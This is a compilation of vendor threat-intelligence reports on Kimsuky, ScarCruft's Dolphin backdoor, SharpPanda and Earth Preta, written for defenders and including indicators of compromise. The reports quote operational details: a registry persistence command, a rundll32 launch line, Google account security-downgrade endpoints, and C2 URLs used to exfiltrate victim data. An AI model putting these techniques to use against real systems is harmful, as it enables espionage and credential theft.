The initial email requests the review of a draft article analyzing the nuclear threat posed by North Korea.


If the target engages in the conversation, Kimsuky uses the opportunity to deliver a spoofed URL to a Google document, which redirects to a malicious website specifically crafted to capture Google credentials.

Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence


Kimsuky may also deliver a weaponized Office document that executes the ReconShark reconnaissance malware.


Further, Kimsuky’s objective extends to the theft of subscription credentials from NK News.


To achieve this, the group distributes emails that lure targeted individuals to log in on the malicious website nknews[.]pro, which masquerades as the authentic NK News site.


The login form that is presented to the target is designed to capture entered credentials.


This Kimsuky activity indicates the group’s growing efforts to establish early communication and foster trust with their targets prior to initiating malicious operations, including the delivery of malware.


Their approach highlights the group’s commitment to creating a sense of rapport with the individuals they target, potentially increasing the success rate of their subsequent malicious activities.


By actively targeting high-profile experts in North Korean affairs and stealing subscription credentials from prominent news and analysis outlets focussing on North Korea, Kimsuky demonstrates a heightened curiosity in understanding how the international community perceives developments concerning North Korea, such as the country’s military activities.


These actions are probably part of their broader objective to gather strategic intelligence, contributing to North Korea’s decision-making processes.


Google Credential Theft We observed Kimsuky distributing an HTML-formatted phishing email to selected individuals, which requests the review of a draft article analyzing the nuclear threat posed by North Korea.


The email primarily aims to initiate a subsequent conversation and is intentionally designed to appear benign: It impersonates NK News leadership and lacks any malicious artifacts.


Initial email If the target engages in the conversation, Kimsuky eventually follows up with an email that contains an URL to a Google document.


Follow-up email If the target is not responsive, Kimsuky follows up with a reminder email in an attempt to engage the target in conversation.


Reminder email The URL’s destination is manipulated through the spoofing technique of setting the href HTML property to direct to a website created by Kimsuky.


This method, commonly employed in phishing attacks, creates a discrepancy between the perceived legitimacy of the link (a genuine Google document) and the actual website visited upon clicking the URL.


The displayed URL to a Google document points to an actual article hosted on Google Docs, delving into the topic of the North Korean nuclear threat.


The article contains visible edits to give the impression of a genuine draft article, aligning with Kimsuky’s luring tactic.


Google document The spoofed destination of the URL redirects the target to an attacker-created website that masquerades as a legitimate Google Docs site for requesting document access, such as https[://]drive-google[.]shanumedia[.]com/pdf/ul/ji78fghJHKtgfLKJIO/s2.php?menu=ZGFu[...]vbQ== The Base-64 encoded segment, that is, the value of the menu URL query parameter, resolves to the target’s email address.


This serves as a means of transporting the target’s address to the fake Google Docs site, which enables the site to dynamically display the address, creating a personalized and convincing appearance of legitimacy.


The design and functionality of this site suggest its potential for reuse in targeting different individuals.


Malicious Google Docs site We were unable to analyze the functionality behind the Request access web element as the group has taken down the site.


However, given the theme of the site, we suspect that it has been designed to capture entered Google credentials.


During conversations with targeted individuals, Kimsuky also seizes any available opportunity to distribute password-protected weaponized Office documents that deploy the ReconShark reconnaissance malware.


ReconShark exfiltrates information relevant for conducting subsequent precision attacks, such as deployed detection mechanisms and hardware information.


The implementation of the ReconShark variant we observed in this activity remains the same as the one covered in our previous post on Kimsuky activity, with the main distinction being the use of a different C2 server: staradvertiser[.]store.


This domain resolves to the IP address 162.0.209[.]27, which has hosted domains that have been attributed to Kimsuky in previous research, such as sesorin[.]lol and rfa[.]ink.


Kimsuky’s use of ReconShark as part of this activity underscores the malware’s central role within the group’s current operational playbook.


NK News Credential Theft


We also observed Kimsuky attempting to steal credentials for the subscription service of NK News, which is known for its comprehensive expert analyses and news reports.


Gaining access to such reports would provide Kimsuky with valuable insights into how the international community assesses and interprets developments related to North Korea, contributing to their broader strategic intelligence-gathering initiatives.


In order to accomplish this, Kimsuky distributes an email that lure targeted individuals to log in to a spoofed NK News subscription service.


The emails prompt the recipients to confirm their NK News accounts under the pretext of recent security updates.


Phishing Email The fake login site, hosted at https[://]www.nknews[.]pro/ip/register/, features a login form with the standard web elements, such as Sign In, Sign Up, and Forgot Password?


buttons.


When clicked, the Sign In button executes the loginAct JavaScript function, whereas the rest of the buttons do not conduct any activities.


Fake NK News login site The JavaScript code captures entered credentials by issuing an HTTP POST request to https[://]www.nknews[.]pro/ip/register/login[.]php and then redirects the user to the legitimate NK News site.


JavaScript code The main website hosted at https[://]www.nknews[.]pro redirects to the legitimate NK News site, https://nknews.org, and uses a certificate issued by Sectigo: Thumbprint: a1597d197e9b084a043ada5c7dac1f9b6d7f7af3


Serial number: 00f342582c9a299acf2452aaf5115c5be0


The domain nknews[.]pro, registered through Namecheap, also resolves to the Kimsuky-linked IP address 162.0.209[.]27.


The URL https[://]www.nknews[.]pro/config[.]php hosts a password-protected remote management site, which is likely an implementation of the b374k tool, based on the implementation of the login site and the presence of the config.php file.


The Kimsuky group is known to use this tool for remote management of its infrastructure.


b374k login site Conclusion SentinelLabs remains actively engaged in monitoring the activities conducted by Kimsuky.


The findings presented in this post highlight the group’s persistent commitment to targeted social engineering attacks and underscore the need for increased awareness and understanding of Kimsuky’s tactics among potential targets.


Maintaining vigilance and implementing effective security measures are imperative to mitigate the risks posed by this persistent threat actor.


Indicators of Compromise Indicator Description nknews[.]pro Phishing email sender domain chad.ocarroll@nknews[.]pro Phishing email sender address membership@nknews[.]pro Phishing email sender address https[://]www.nknews[.]pro Website impersonating NK News https[://]www.nknews[.]pro/config[.]php Website impersonating NK News: b374k login site https[://]www.nknews[.]pro/ip/register/ Website impersonating NK News:


Fake NK News login site https[://]www.nknews[.]pro/ip/register/login[.]php Website impersonating NK News: NK News credential theft endpoint https[://]staradvertiser.store/piece/ca[.]php ReconShark payload hosting endpoint https[://]staradvertiser.store/piece/r[.]php ReconShark C2 server endpoint 162.0.209[.]27 Website impersonating NK News, ReconShark C2 server: IP address 4150B40C00D8AB2E960AA059159149AF3F9ADA09 Malicious document (password-protected): SHA1 hash 7514FD9E5667FC5085373704FE2EA959258C7595 Malicious document: SHA1 hash 41E39162AE3A6370B1100BE2B35BB09E2CBE9782


ReconShark: SHA1 hash


Who’s swimming in South Korean waters?

Whos swimming in South Korean waters Meet ScarCrufts Dolphin


Meet ScarCruft’s Dolphin url: https://www.welivesecurity.com/2022/11/30/whos-swimming-south-korean-waters-meet-scarcrufts-dolphin/ ESET researchers uncover Dolphin, a sophisticated backdoor extending the arsenal of the ScarCruft APT group ESET researchers have analyzed a previously unreported backdoor used by the ScarCruft APT group.


The backdoor, which we named Dolphin, has a wide range of spying capabilities, including monitoring drives and portable devices and exfiltrating files of interest, keylogging and taking screenshots, and stealing credentials from browsers.


Its functionality is reserved for selected targets, to which the backdoor is deployed after initial compromise using less advanced malware.


In line with other ScarCruft tools, Dolphin abuses cloud storage services – specifically Google Drive – for C&C communication.


During our investigation, we saw continued development of the backdoor and attempts by the malware authors to evade detection.


A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security, most likely to maintain access to victims’ email inboxes.


In this blogpost, we provide a technical analysis of the Dolphin backdoor and explain its connection to previously documented ScarCruft activity.


We will present our findings about this new addition to ScarCruft’s toolset at the AVAR 2022 conference.


Key points in this blogpost: ESET researchers analyzed Dolphin, a previously unreported backdoor used by the ScarCruft APT group.


Dolphin is deployed on selected targets only; it searches the drives of compromised systems for interesting files and exfiltrates them to Google Drive.


The backdoor was used as the final payload of a multistage attack in early 2021, involving a watering-hole attack on a South Korean online newspaper, an Internet Explorer exploit, and another ScarCruft backdoor, named BLUELIGHT.


Since the initial discovery of Dolphin in April 2021, ESET researchers have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection.


A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security.


ScarCruft profile ScarCruft, also known as APT37 or Reaper, is an espionage group that has been operating since at least 2012.


It primarily focuses on South Korea, but other Asian countries also have been targeted.


ScarCruft seems to be interested mainly in government and military organizations, and companies in various industries linked to the interests of North Korea.


Dolphin overview In 2021, ScarCruft conducted a watering-hole attack on a South Korean online newspaper focused on North Korea.


The attack consisted of multiple components, including an Internet Explorer exploit and shellcode leading to a backdoor named BLUELIGHT, reported by Volexity and Kaspersky.


In those reports, the BLUELIGHT backdoor was described as the attack’s final payload.


However, when analyzing the attack, we discovered through ESET telemetry a second, more sophisticated backdoor, deployed on selected victims via BLUELIGHT.


We named this backdoor Dolphin based on a PDB path found in the executable.


While the BLUELIGHT backdoor performs basic reconnaissance and evaluation of the compromised machine after exploitation, Dolphin is more sophisticated and manually deployed only against selected victims.


Both backdoors are capable of exfiltrating files from a path specified in a command, but Dolphin also actively searches drives and automatically exfiltrates files with extensions of interest to ScarCruft.


Figure 1 provides an overview of the attack components leading to the execution of the Dolphin backdoor.


Overview of the attack components leading to the execution of the Dolphin backdoor Dolphin analysis Analysis of Dolphin’s components and their capabilities is provided in the following section.


The analysis is based on the first version of the backdoor that we found, 1.9 (based on a string found in the code) with additional information about changes in newer versions.


A summarized description of the version changes can be found in the Dolphin evolution section.


Dolphin installer Ensuing sections describe the installer and loader components responsible for the execution of the Dolphin backdoor in the analyzed attack scenario.


It is worth noting that this installer and the deployed loader are not exclusive to Dolphin, and were previously seen used with other ScarCruft malware.


The installer shellcode follows these main objectives: Download and deploy a Python interpreter Generate and deploy a loading chain with its payload Ensure persistence of the loading chain


The installer downloads a CAB file from OneDrive, containing a legitimate Python 2.7 interpreter.


The CAB is unpacked to %APPDATA%, and depending on architecture, the interpreter ends up in one of the following directories:


%appdata%\Python27(32)\ %appdata%\Python27(64)\


The installer generates two file paths for loading-chain components, <loader_step_1> and <loader_encrypted_step_2>, with the format <base_dir>\<inf_name>\<dll_name>.


<base_dir> is randomly selected from %PROGRAMDATA% %PUBLIC% %APPDATA%\Microsoft %APPDATA%\Microsoft\Windows %LOCALAPPDATA% %LOCALAPPDATA%\Microsoft %LOCALAPPDATA%\Microsoft\Windows <inf_name> and <dll_name> are randomly selected from existing filenames (without extension) in %windir%\inf\*.inf and %windir%\system32\*.dll.


To generate Step 1 of Loader, it uses a script template that is filled with randomly generated names (variables, function).


The template with generated example is shown in Figure 2. Figure 2.


Step 1 template and generated example


The script is then written to <loader_step_1>.


Step 2 (embedded in the installer) containing the rest of the loading chain, including the payload, is encrypted with a one-byte XOR key derived from the current time and written to <loader_encrypted_step_2>.


In order to persist the start of the loading chain, the installer sets a Run registry value: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<random_run_name>\”%appdata%\Python27({32|64})\pythonw.exe” “<loader_step_1>” “<loader_encrypted_step_2>” The <random_run_name> is randomly selected from existing filenames matching %WINDIR%\inf\*.inf, discarding the .inf extension.


To start the loading chain after installation, it creates a one-time scheduled task.


Dolphin loader The Dolphin loader consists of a Python script and shellcode.


Step 1, the Python script, reads a specified file, XOR-decrypts its contents, and executes the resulting shellcode.


Step 2, shellcode, creates a host process (random CLI executable from %WINDIR%\System32\*.exe), XOR-decrypts further shellcode carried within itself, and injects it into the created process.


Step 3, another shellcode, XOR-decrypts an embedded PE file – the Dolphin backdoor – and loads and executes it using a custom PE loader.


Dolphin backdoor Dolphin is a backdoor that collects information and executes commands issued by its operators.


The backdoor is a regular Windows executable, written in C++.


It communicates with Google Drive cloud storage, which is used as its C&C server.


We named the backdoor Dolphin based on a PDB path found in the executable: D:\Development\BACKDOOR\Dolphin\x64\Release\Dolphin.pdb Persistence The backdoor periodically checks and creates its own persistence by making sure that Step 1 of the loader is run every time the system is started, via a registry Run value, in the same way as in the installer: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<random_run_name>\”%appdata%\Python27({32|64})\pythonw.exe” “<loader_step_1>” “<loader_encrypted_step_2>” Capabilities The following basic information about the computer and the backdoor is collected: Current backdoor configuration Username Computer name Local and external IP address List of installed security products RAM size and usage Result of check for debugger and other inspection tools (such as Wireshark) OS version Current time Malware version Dolphin downloads commands, issued by its operators, from Google Drive storage and executes them.


After execution, the output of commands is uploaded.


Most of Dolphin’s capabilities are controlled through commands.


The most relevant capabilities are described below.


File exfiltration By default, Dolphin searches all non-fixed drives (USBs), creates directory listings and exfiltrates files by extension.


This search can be extended to fixed drives (HDDs), via dedicated commands.


The following file extensions of interest, specific to media, documents, emails, and certificates, are specified in the default configuration: jpg, doc, xls, ppt, hwp, url, csv, pdf, show, cell, eml, odt, rtf, nxl, amr, 3gp, m4a, txt, msg, key, der, cer, docx, xlsx, pptx, pfx, mp3 Besides this automatic search, specific files can be exfiltrated.


In the newer versions, the default search was extended to fixed drives.


The command to get specific files was improved, by caching/storing it in the configuration until completion.


Portable devices Among regular drives, Dolphin also searches portable devices such as smartphones, using the Windows Portable Device (WPD) API.


It creates directory listings and exfiltrates files.


This functionality appeared to be under development in the first version we found, for several reasons: Relying on a hardcoded path with a username that likely doesn’t exist on the victim’s computer Missing variable initialization – some variables are assumed to be zero-initialized, or dereferenced as pointers without initialization Missing extension filtering The code is heavily based on Microsoft’s Portable Devices COM API code sample.


Apart from automatic search, the operators can specify individual files to be exfiltrated from portable devices.


In newer versions, this capability was finished and improved by adding extension filtering.


For unknown reasons, the command to retrieve specific files from portable devices was removed.


Keylogging and screenshots Dolphin logs keystrokes for windows with titles containing substrings specified in its configuration.


The defaults are chrome and internet explore (sic).


This is done via the GetAsyncKeyState API, with keystrokes being logged along with the window name and current time.


Screenshots are also taken at a configurable interval; the default is once every 30 seconds.


Screenshots and keylogging are enabled by default, and can be toggled via a command.


Shellcode Dolphin can receive shellcode for execution.


The shellcode is stored in the registry, under one of the following keys: HKCU\Software\Microsoft\Windows\CurrentVersion\Themes\Classic\<random_number> HKCU\Software\Microsoft\OneDrive\Update\<random_number> HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\HttpsSoftware\Microsoft\Internet Explorer\Zone\<random_number> (two subkeys as one, likely a coding error)


It can be executed either locally or in a specified separate process that is created and injected.


In the newer versions, the shellcode is stored in files instead of the registry, and the stored shellcode is loaded and executed on Dolphin’s startup, which was not the case in version 1.9 (the original version we analyzed).


Shell commands Dolphin can execute shell commands; this is done via the popen API and their output is retrieved.


Stealing credentials Dolphin can retrieve credentials from browsers in the form of saved passwords and cookies.


The following browsers are supported: Chrome Edge Internet Explorer In version 2.2, this capability was removed, presumably to avoid detection.


It was later restored in version 3.0, but in a different form.


It is now dynamically received from the C&C in the form of shellcode.


Google account Another one of Dolphin’s commands modifies the settings of the currently logged-in Google account, lowering its security relative to default settings.


It steals the existing cookie of the logged-in account from the browser and crafts requests that modify the settings.


First, it enables access to Gmail via the IMAP protocol by sending an HTTP POST request to: https://mail.google.com/mail/u/0/?ik=<GM_ID_KEY>&at=<GM_ACTION_TOKEN>&view=up&act=prefs


Then it enables “less secure app access” by sending an undocumented RPC request via an HTTP POST to: https://myaccount.google.com/_/AccountSettingsUi/data/batchexecute These modifications are referred to as “thunder access” in the backdoor, likely being a reference to the Thunderbird email client.


Accessing their victims’ inboxes with a third-party client via IMAP probably helps ScarCruft operators maintain access to the victims’ emails after stealing credentials, which may not be enough on their own, due to Google’s detection of suspicious login attempts.


This feature was found in versions 1.9 and 2.0 of the backdoor; it is not present in versions 2.2 or 3.0.


Data staging Dolphin exfiltrates data to Google Drive storage, staging the data in encrypted ZIP archives before upload.


The backdoor also maintains a list of files in the form of MD5 hashes, in order to avoid uploading the same file multiple times.


This list can be reset via a dedicated command.


Configuration The backdoor contains an initial default configuration that is persisted on first run and loaded on subsequent runs.


It is stored in the file %ProgramData%\<variable_cfg_name>.inf, where <variable_cfg_name> is randomly selected from existing filenames matching %windir%\inf\*.inf.


The content is encrypted using AES CBC with random 16-byte keys and IVs, which are stored at the file’s beginning.


The configuration uses JSON format, with hash-like keys.


An example of a decrypted configuration is shown in Figure 3.


Dolphin backdoor configuration The configuration can be modified through commands.


It contains, among others, the following: Encryption keys Credentials for Google Drive API access Window titles to keylog List of file extensions to exfiltrate Dolphin evolution Since the initial discovery of Dolphin in April 2021, we have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection.


Figure 4 summarizes the versions seen; a more detailed description of the version changes is provided below.


Dolphin evolution timeline November 2021 – version 2.0 Version 2.0 introduced the following changes to the version found in April 2021:


Dynamic resolution of suspicious APIs instead of static imports (for example GetAsyncKeyState) added Shellcode capability finished and improved Persisted shellcode stored in files instead of registry Persisted shellcode loaded and executed on Dolphin startup (previously missing) Portable device file exfiltration capability finished and improved Exfiltration by extensions added Recognition of internal memory and SD cards (from device ID) added Command to get files from portable devices effectively a NOP Device/drive detection and file exfiltration improved Dolphin now unconditionally creates directory listings and exfiltrates files by extension every 30 minutes for all drives and devices (fixed drives, removable drives, portable devices).


Previously, it was just for removable drives; fixed drives were disabled by default and the code used for accessing portable devices was buggy and broken. December 2021 – version 2.2 Changes introduced in version 2.2 focused mainly on detection evasion.


The credential-stealing capability and commands related to it – the credential stealing and Google account commands – were removed.


Most strings in this version are base64 encoded.


January 2022 – version 3.0


In version 3.0, the code was reorganized and classes renamed, with capabilities remaining unchanged.


The base64-encoded strings were plaintext again in this version.


We observed the following additional changes: Command to steal credentials restored in a different form; it now executes shellcode from the C&C Command to get files from portable devices completely removed Command to get files from drives is now cached/stored in the configuration until completion.


If interrupted (for example by computer shutdown), it is done on the next run.


This is also useful in the case of removable drives that may not be connected when the command is issued.


Internet connection check added (https://www.microsoft.com); no malicious code is executed if offline The differences between versions 2.2 and 3.0, especially the discrepancy in string encoding, suggest the possibility that the versions were being developed in parallel by different people.


Conclusion Dolphin is another addition to ScarCruft’s extensive arsenal of backdoors abusing cloud storage services.


After being deployed on selected targets, it searches the drives of compromised systems for interesting files and exfiltrates them to Google Drive.


One unusual capability found in prior versions of the backdoor is the ability to modify the settings of victims’ Google and Gmail accounts to lower their security, presumably in order to maintain account access for the threat actors.


During our analysis of multiple versions of the Dolphin backdoor, we saw continued development and attempts to evade detection.


IoCs SHA-1FilenameESET detection nameDescription F9F6C0184CEE9C1E4E15C2A73E56D7B927EA685BN/AWin64/Agent.


MSDolphin backdoor version 1.9 (x64) 5B70453AB58824A65ED0B6175C903AA022A87D6AN/AWin32/Spy.


QETDolphin backdoor version 2.0 (x86) 21CA0287EC5EAEE8FB2F5D0542E378267D6CA0A6N/AWin64/Agent.


MSDolphin backdoor version 2.0 (x64) D9A369E328EA4F1B8304B6E11B50275F798E9D6BN/AWin32/Agent.


UYODolphin backdoor version 3.0 (x86) 2C6CC71B7E7E4B28C2C176B504BC5BDB687C4D41N/AWin64/Agent.


MSDolphin backdoor version 3.0 (x64) MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework.


TacticIDNameDescription Initial AccessT1189Drive-by CompromiseScarCruft uses watering-hole attacks to compromise victims.


ExecutionT1059.006Command and Scripting Interpreter:


PythonThe Dolphin loader a uses Python script.


T1059.007Command and Scripting Interpreter: JavaScriptScarCruft used malicious JavaScript for a watering-hole attack. T1203Exploitation for Client ExecutionScarCruft exploits CVE-2020-1380 to compromise victims.


APIDolphin uses Windows API functions to execute files and inject processes.


PersistenceT1053.005Scheduled Task/Job: Scheduled TaskDolphin uses a temporary scheduled task to start after installation. T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderDolphin uses Run keys for persistence of its loader.


Defense EvasionT1055.002Process Injection: Portable Executable InjectionDolphin can inject into other processes.


T1027Obfuscated Files or InformationDolphin has encrypted components.


Credential AccessT1555.003Credentials from Password Stores: Credentials from Web BrowsersDolphin can obtain saved passwords from browsers.


T1539Steal Web Session CookieDolphin can obtain cookies from browsers.


DiscoveryT1010Application Window DiscoveryDolphin captures the title of the active window.


T1083File and Directory DiscoveryDolphin can obtain file and directory listings.


T1518.001Software Discovery: Security Software DiscoveryDolphin obtains a list of installed security software.


T1082System Information DiscoveryDolphin obtains various system information including OS version, computer name and RAM size.


T1016System Network Configuration DiscoveryDolphin obtains the device’s local and external IP address.


T1016.001System Network Configuration Discovery: Internet Connection DiscoveryDolphin checks internet connectivity.


T1033System Owner/User DiscoveryDolphin obtains the victim’s username.


T1124System Time DiscoveryDolphin obtains the victim’s current time.


CollectionT1056.001Input Capture:


KeyloggingDolphin can log keystrokes.


T1560.002Archive Collected Data: Archive via LibraryUsing the Zipper library, Dolphin compresses and encrypts collected data before exfiltration.


T1119Automated CollectionDolphin periodically collects files with certain extensions from drives.


T1005Data from Local SystemDolphin can collect files from local drives.


T1025Data from Removable MediaDolphin can collect files from removable drives.


T1074.001Data Staged: Local Data StagingDolphin stages collected data in a directory before exfiltration.


CaptureDolphin can capture screenshots.


Command and ControlT1071.001Application Layer Protocol: Web ProtocolsDolphin uses HTTPS to communicate with Google Drive.


T1102.002Web Service: Bidirectional CommunicationDolphin communicates with Google Drive to download commands and exfiltrate data.


ExfiltrationT1020Automated ExfiltrationDolphin periodically exfiltrates collected data.


T1567.002Exfiltration Over Web Service: Exfiltration to Cloud StorageDolphin exfiltrates data to Google Drive.


30 Nov 2022 - 11:30AM


Threat Actors Utilize Undetected Loaders for Stealthy Attacks SharpPanda, an APT group originating from China, has seen a rise in its cyber-attack operations starting from at least 2018.

SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations


The APT group utilizes spear-phishing techniques to obtain initial access, employing a combination of outdated Microsoft Office document vulnerabilities, novel evasion techniques, and highly potent backdoor malware.


This backdoor enables Threat Actors (TAs) to exfiltrate system information, files, and other sensitive data from the targeted victim’s machine.


Cyble Research and Intelligence Labs (CRIL) recently observed an ongoing campaign by SharpPanda APT.


Previously, this APT group has been observed targeting government officials, particularly in Southeast Asian countries.


This latest campaign specifically targets high-level government officials from G20 nations.


The G20, or Group of Twenty, is an international forum comprising 19 countries and the European Union (EU).


Established in 1999, its primary objective is to foster global economic cooperation and address key challenges impacting the worldwide economy.


Member countries of the G20 include Argentina, Australia, Brazil, Canada, China, France, Germany, India, Indonesia, Italy, Japan, Mexico, Russia, Saudi Arabia, South Africa, South Korea, Turkey, the United Kingdom, and the United States.


Together, these nations represent a diverse range of economies, constituting a significant share of global GDP and population.


The G20 holds annual summits where leaders convene to discuss and coordinate security, economic, and financial policies.


In its latest campaign, the SharpPanda APT group employs a forged document linked to G7 to target various governments within the G20 forum.


The delivery mechanism of the SharpPanda APT attack via a spam email is illustrated in the figure below.


Figure 1 – Infection chain Technical Details Initial Infection


The infection process initiates through a spam email comprising an attached MS Office document named “[FINAL] Hiroshima Action Statement for Resilient Global Food Security_trackchanged.docx.”


These emails, with the subject line “[Sending Finalized Text] G7+Partners FASS Meeting,” are distributed to multiple employees within government entities across G20 countries, as shown in the figure below.


Figure 2 – Spam email containing malicious doc attachment


The emails contain weaponized versions of seemingly genuine official documents, which employ the remote template injection method to retrieve the next stage of the malware from the TA’s Command-and-Control (C&C) server.


The attached document in the spam email is shown below.


Figure 3 – Opened document attachment from spam email Upon opening the document, it initiates the download of a new payload from the attacker’s remote server (hxxp[:]//13[.]236[.]189[.]80:8000/res/translate[.]res), which is RTF file serving as the next-level payload.


Figure 4 – Payload URL present inside the XML file of the malicious document The RTF file is weaponized using a tool called RoyalRoad.


This tool enables the TAs to create customized documents containing embedded objects that exploit vulnerabilities in Microsoft Word’s Equation Editor.


RoyalRoad leverages a specific set of vulnerabilities, including CVE-2018-0802, CVE-2018-0798, and CVE-2017-11882, within the Equation Editor of Microsoft Office.


The TAs integrate anti-analysis and anti-debugging techniques into their loaders to avoid being detected while also utilizing the older Equation Editor exploits.


The RTF file includes both an encrypted payload and shellcode.


Once the RTF file is executed, it proceeds to decrypt and drops an embedded payload, which is a DLL file saved under the name “c6gt.b” in the %temp% directory.


After decryption, the shellcode facilitates the establishment of a persistence mechanism.


It achieves this by creating a scheduled task entry, which executes the export function “StartA” from the DLL “c6gt.b” using rundll32.exe on a daily basis.


The figure below illustrates the presence of embedded content within the RTF document.


Figure 5 – Embedded payload in RTF file Once the persistence is established, the RTF file proceeds to execute the downloaded DLL payload by utilizing the “rundll32.exe” command as follows:


rundll32.exe C:\Users<Admin>\AppData\Local\Temp\c6gt.b StartA DLL Downloader (“c6gt.b”)


The DLL file’s original name is “Downloader.dll.”


It contains four export functions, as depicted below.


Figure 6 – Export functions of the DLL loader When the loader is executed through rundll32.exe, it collects various data from the victim’s computer.


This includes the hostname, operating system name, OS version, username, Internet information, as well as the presence of any installed anti-virus software on the machine.


Subsequently, the loader encrypts the collected information using RC4 encryption with the key “xkYgv127” and encodes it using base64.


The encrypted data is then exfiltrated using the below C&C URL: hxxps://13[.]236[.]189[.]80:8001/G0AnyWhere_up[.]jsp?Data=[redacted] The figure below illustrates the exfiltrated data sent to the C&C server, as well as the decrypted/decoded stolen information obtained from the victim’s machine.


Figure 7 – Exfiltrated data to C&C server Final Payload Once the victim’s information is sent to the remote server, the TA checks the information.


If they deem the victim’s machine to be intriguing, the C&C server responds with the next stage executable.


During the final phase of the infection chain, the malicious loader in the SharpPanda APT campaign is specifically designed to download a backdoor module.


However, during our analysis, no response was received from the remote server.


In previous SharpPanda APT campaigns, the loader establishes a connection with a C&C server in the final stage of the attack.


Subsequently, it downloads and executes a malicious backdoor.


With its extensive capabilities, this backdoor possesses the ability to perform a variety of operations, including: Capture screenshots of victims’ system Obtain information about processes and services running on the machine Create or terminate processes Delete/Create/Rename/Read/Write files and retrieve file attributes Retrieve TCP/UDP tables Retrieve information about registry keys Obtain titles of all top-level windows Trigger a shutdown of the targeted computer Gather computer-specific information such as computer name, username, gateway address, network adapter details, Windows version, and user type Conclusion The SharpPanda APT group is comprised of exceptionally sophisticated cyber-TAs who execute targeted and extended attacks against specific targets, including governments, organizations, and industries, with the objectives of spying, disruption, or monetary gain.


SharpPanda has been associated with multiple cyber espionage campaigns, employing strategies such as spear-phishing, manipulation through social engineering, and exploiting zero-day vulnerabilities to gain illicit access to networks.


Previously, this group has been observed targeting government officials, particularly in Southeast Asian countries.


However, as evidenced in this recent campaign, their focus has shifted to high-level government officials from G20 countries in Europe, North America, and South Asia.


The APT group consistently adapts its techniques and incorporates new tools into its arsenal as it evolves.


CRIL actively monitors the latest APT attacks, phishing attempts, and circulating malware strains, consistently releasing informative blog posts that offer valuable insights and practical guidance to safeguard users against these widely recognized attacks.


We recommend that our readers follow the best practices as mentioned below: Avoid downloading pirated software from warez/torrent websites.


The “Hack Tool” present on sites such as YouTube, torrent sites, etc., mainly contains such malware.


Use strong passwords and enforce multi-factor authentication wherever possible.


Turn on the automatic software update feature on your computer, mobile, and other connected devices.


Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile.


Refrain from opening untrusted links and email attachments without first verifying their authenticity.


Educate employees on protecting themselves from threats like phishing/untrusted URLs.


Block URLs that could be used to spread the malware, e.g., Torrent/Warez.


Monitor the beacon on the network level to block data exfiltration by malware or TAs.


Enable Data Loss Prevention (DLP) Solutions on the employees’ systems.


MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name Initial AccessT1566Spear-phishing AttachmentExecution T1204 T1203User ExecutionExploitation for Client ExecutionPersistenceT1053Scheduled TaskDefense EvasionT1497T1027Virtualization/Sandbox EvasionObfuscated Files or InformationDiscovery T1082 T1518T1016System Information Discovery Security Software DiscoverySystem Network ConfigurationCollectionT1006Data from Local SystemCommand AndControlT1065 T1071


T1105Uncommonly Used PortApplication Layer ProtocolIngress Tool TransferIndicators Of Compromise IndicatorsIndicator TypeDescriptionf39442edc4a96ce729e50f66901263e1734b1cd163937e9509ea616f5f7ff8870f7be8e51fb22c38c781495018deda70af49bda17269203547620c140ee9eee68cecc016MD5SHA1SHA256Spam email ea889308acb4249af92807cc7d70f08492c8f9ea9b6555e1b9c42cd7302f7caf62eb83e657b64a1ef1b04819ca9473e1bb74e1cf4be76b89b144e030dc1ef48f446ff95bMD5SHA1SHA256Documentattachment 92d994be99ea43c121ac4f4ddfacbf75f14afd2856dab6183150f6e269f5bb6f4a2e3f50180f5a0f9210698b54dcafb9a230b12e3eaf199889e5377a2acb7124c2d48d69MD5SHA1SHA256RTFdocument 09bf850be5da44a1c3629a1f62813a83a4e89d1f060e4dfd5f0fd4e7ba8be96967b39ac721f173a347ed111ce67e4c0f2c0bd4ee34bb7ca765da03635ca5c0df394cd7e6MD5SHA1SHA256DLL loader hxxp[:]//13[.]236[.]189[.]80:8000/res/translate[.]resURLRTF payloaddownload13[.]236[.]189[.]80:8000IP: PortC&C


APT & Targeted Attacks Earth Preta’s Cyberespionage Campaign Hits Over 200

Earth Pretas Cyberespionage Campaign Hits Over 200


We present a case study of the cyberespionage efforts by Earth Preta.


This study on an active campaign delves into the structure, goals, and requirements of the organizations involved, and provides an opportunity to conduct wider intelligence analysis and insights in the development of effective countermeasures.


By: Trend Micro March 27, 2023Read time: ( words) Save to Folio Subscribe Since 2022, we’ve been following a series of cyberespionage efforts carried out by multiple groups carried from an old campaign.


It combines the collective activities carried out by subgroups of advanced persistent threat (APT) group Earth Preta (also known as Mustang Panda), representing a comprehensive network of operations for gathering sensitive information from various entities.


An analysis of their deployments also revealed a level of coordination and collaboration.


Through extensive analysis and as of this writing, we discovered over 200 victims, leading to a wider intelligence analysis of the groups’ goals, different operation groups, and tactics, techniques, and procedures (TTPs).


Our study aimed at understanding the different phases and facets involved in this operation, shedding light on the motives and techniques used by Earth Preta to provide valuable insights and aid in the development of effective countermeasures.


Key findings While not exhaustive of the entire study’s findings due to security and confidentiality concerns, we determined the following findings key to the entire research:


A hierarchical structure.


Earth Preta has a centralized development unit that produces the implants and tools, and disseminates them to other operational groups responsible for penetration and implantation.


This is evident in the Earth Preta group as it appears that multiple sub-operational groups use the same toolset with different techniques.


A management of expertise.


The different operational groups manage their own methods of entry and privilege escalation, demonstrating a high degree of specialization within each group.


A change in targets.


Towards the end of 2022, there were changes in how information was collected.


The latest active targets were related to maritime, shipping, border control, and immigration agencies.


Prior to this shift, most of the data collection efforts were aimed at academic institutions, ore and material refineries, specialized fabrication plants, financial institutions, and energy production and distribution.


These key findings can help intelligence communities and decision-makers in understanding Earth Preta’s capabilities, objectives, and impact on international security and intellectual property.


